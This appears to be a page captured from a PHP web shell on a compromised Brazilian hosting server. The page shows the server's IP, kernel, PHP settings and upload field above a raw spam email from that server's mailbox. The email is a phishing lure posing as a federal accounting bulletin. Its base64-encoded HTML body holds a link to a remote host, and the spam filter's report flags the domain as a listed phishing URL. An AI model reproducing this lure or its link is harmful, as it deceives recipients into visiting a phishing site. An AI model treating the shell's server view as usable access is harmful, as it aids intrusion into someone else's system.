| Server IP : 162.214.74.102 / Your IP : 216.73.216.252 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/lrsys/././mail/.spam/new/ |
Upload File : |
Return-Path: <68710.contabil@atendimento.golfinhorosa.coupons>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
by dedi-4363141.lrsys.com.br with LMTP
id 8OM0JLY51We6fwAAIWsJAg
(envelope-from <68710.contabil@atendimento.golfinhorosa.coupons>)
for <lrsys+spam@dedi-4363141.lrsys.com.br>; Sat, 15 Mar 2025 05:26:30 -0300
Return-path: <68710.contabil@atendimento.golfinhorosa.coupons>
Envelope-to: atendimento@lrsys.com.br
Delivery-date: Sat, 15 Mar 2025 05:26:30 -0300
Received: from atendimento.golfinhorosa.coupons ([37.27.247.115]:54766)
by dedi-4363141.lrsys.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.98.1)
(envelope-from <68710.contabil@atendimento.golfinhorosa.coupons>)
id 1ttMqf-000000000Bi-2p5j
for atendimento@lrsys.com.br;
Sat, 15 Mar 2025 05:26:30 -0300
Received: from atendimento.golfinhorosa.coupons (localhost [127.0.0.1])
by atendimento.golfinhorosa.coupons (Postfix) with ESMTP id 1C54225AA1
for <atendimento@lrsys.com.br>; Sat, 15 Mar 2025 05:25:39 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
d=atendimento.golfinhorosa.coupons; s=default; t=1742027139;
bh=Smv9h6cKNoILrkLo8csy5iraBQrHCVhqY16RUNEbHxc=;
h=From:To:Reply-To:Date:Subject:From;
b=MpIniR/6CXu1H6aI4WW6rIeg8M4f8TowXlAbPeABDwaN6hnDedkk2rZWndaSG2onm
7AXu2jRfR2T+5H6v+deDxssyFcvPlwCE+r1GAYowAcix+mEUcNw6LFOEpRwvexef9v
EhdRxAVQyDzwTkQpcih55Y6lo7fRyx2p4WjR2C2ZxAlx5Aq2kNAq7AlrINZOvi2dyP
I/B6QWTmZ2hExkZl5878tNd9FBSMsWkst8J++AZuMGSleWBQQmz+O13h/zdp5H2khg
LBQH6NBr72dPGsJcLHL0bj9nN8iAt0ec7izW8zQsuv3GZa0WMiSy87qbilLDyzAq/j
uspH9MYWcDr1Q==
From: "Legislacao Contabil" <68710.contabil@atendimento.golfinhorosa.coupons>
To: atendimento@lrsys.com.br
Content-Type: multipart/alternative; boundary="lki348bh1uSH=_d7s2JsbpIo7MZ3wnfR5b"
MIME-Version: 1.0
Reply-To: 7qyhsgmk@atendimento.golfinhorosa.coupons
Date: Sat, 15 Mar 2025 05:25:39 -0300
Message-Id: <20250315082539.1C54225AA1@atendimento.golfinhorosa.coupons>
X-Spam-Status: Yes, score=13.4
X-Spam-Score: 134
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: An HTML viewer is required to see this message Prezado Cliente
atendimento@lrsys.com.br
Content analysis details: (13.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: 37.host.secureserver.net]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: golfinhorosa.coupons]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[37.27.247.115 listed in psbl.surriel.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[37.27.247.115 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[37.27.247.115 listed in bl.score.senderscore.com]
5.0 BAYES_99 BODY: Bayes spam probability is 99 to 100%
[score: 1.0000]
1.0 BAYES_999 BODY: Bayes spam probability is 99.9 to 100%
[score: 1.0000]
0.7 FROM_STARTS_WITH_NUMS From: starts with several numbers
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_MESSAGE BODY: HTML included in message
0.8 MPART_ALT_DIFF BODY: HTML and text parts are different
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.8 FROM_FMBLA_NEWDOM28 From domain was registered in last 14-28
days
X-Spam-Flag: YES
Subject: ***SPAM*** Boletim 15/03/2025 (Legislacao federal, trabalhista, Simples
Nacional, IR e etc - Brasil). ref: i9wiGNXJr
This is a multi-part message in MIME format
--lki348bh1uSH=_d7s2JsbpIo7MZ3wnfR5b
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
An HTML viewer is required to see this message
--lki348bh1uSH=_d7s2JsbpIo7MZ3wnfR5b
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline
PGh0bWw+Cgo8aGVhZD4KPC9oZWFkPgo8Ym9keSBtYXJnaW53aWR0aD0iMjAiIG1hcmdpbmhlaWdo
dD0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiA8dGFibGUgaGVpZ2h0PSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9
IjAiIHdpZHRoPSI3NTAiIGJvcmRlcj0iMCI+CiA8dGJvZHk+CiA8dHI+CiA8dGQgdmFsaWduPSJ0
b3AiIGFsaWduPSJjZW50ZXIiIGhlaWdodD0iMTAwJSI+CiA8cCBhbGlnbj0ibGVmdCI+PHNwYW4g
Y2xhc3M9IkNvbnRldWRvIj48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSI0Ij48c3Ryb25nPlBy
ZXphZG8gQ2xpZW50ZSA8L3N0cm9uZz48L2ZvbnQ+PC9zcGFuPjwvcD4KPHAgYWxpZ249ImxlZnQi
Pjxmb250IGZhY2U9IkNvdXJpZXIiIHNpemU9IjMiPmF0ZW5kaW1lbnRvQGxyc3lzLmNvbS5icjwv
Zm9udD48L3A+CjxwIGFsaWduPSJsZWZ0Ij48c3BhbiBjbGFzcz0iQ29udGV1ZG8iPjxmb250IGZh
Y2U9IkNvdXJpZXIiIHNpemU9IjMiPlNlZ3VlOiBCb2xldGltIE4mIzE4Njs6PHN0cm9uZz4yODc1
MDwvc3Ryb25nPiA6PHN0cm9uZz4xNS8wMy8yMDI1PC9zdHJvbmc+KExlZ2lzbGEmIzIzMTsmIzIy
NztvIGZlZGVyYWwgdHJhYmFsaGlzdGEsPGJyPiBTaW1wbGVzIE5hY2lvbmFsIElSIGUgZXRjIC0g
QnJhc2lsKS48c3Ryb25nPjwvc3Ryb25nPiA8L2ZvbnQ+PC9zcGFuPjwvcD4KIDxwIGFsaWduPSJs
ZWZ0Ij48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSIzIj5FbSByZXNwb3N0YSBhbyBlLW1haWwg
ZW52aWFkbyBlbSAxNS8wMy8yMDI1LCByZWZlcmVudGUgYW8gUHJvY2Vzc28sIG4mIzE4Njs8c3Ry
b25nPjgxNTAwMC4zMDEzMDgvMjAyMC0wOC48c3Ryb25nPjwvZm9udD48L3A+CjxwIGFsaWduPSJs
ZWZ0Ij48Zm9udCBmYWNlPSJDb3VyaWVyIiBzaXplPSIzIj48YSBocmVmPSJoVFRQczovLzIyOS4y
MDAuMTQ4LjM3Lmhvc3Quc2VjdXJlc2VydmVyLm5ldC9aMTJReU40aHJxTjR5NS9XQ2t1a01nNXFN
NkMyUDIvSVZoa1pCME05dkhKTkdxWG1nNS9GZWQyMDI1XzM3Mzk3NDQxMzU5IiB0YXJnZXQ9Il9i
bGFuayI+Qm9sZXRpbSBGZWRlcmFsIC0gMTUvMDMvMjAyNTwvYT48L2ZvbnQ+PC9wPgkJCQkJCQkJ
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCjxwIGFsaWduPSJsZWZ0Ij48Zm9udCBzaXplPSIzIj48Zm9udCBm
YWNlPSJDb3VyaWVyIj5BdGVuY2lvc2FtZW50ZSw8YnI+PGJyPk1hcmNvIEZlcm5hbmRlcyAtIExl
Z2lzbGEmIzIzMTsmIzIyNztvIENvbnQmIzIyNTtiaWw8L2ZvbnQ+PC9mb250Pjxicj4KCQkJCQkJ
CQkgCQkJCQkJCSAKIDxmb250IHNpemU9IjIiPjxmb250IGZhY2U9IkNvdXJpZXIiPjxicj4KICA8
L2ZvbnQ+PC9mb250PjwvcD4KICA8L3RkPgo8L3RyPgo8L3Rib2R5Pgo8L3RhYmxlPgogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9ib2R5PjwvaHRtbD4K
--lki348bh1uSH=_d7s2JsbpIo7MZ3wnfR5b--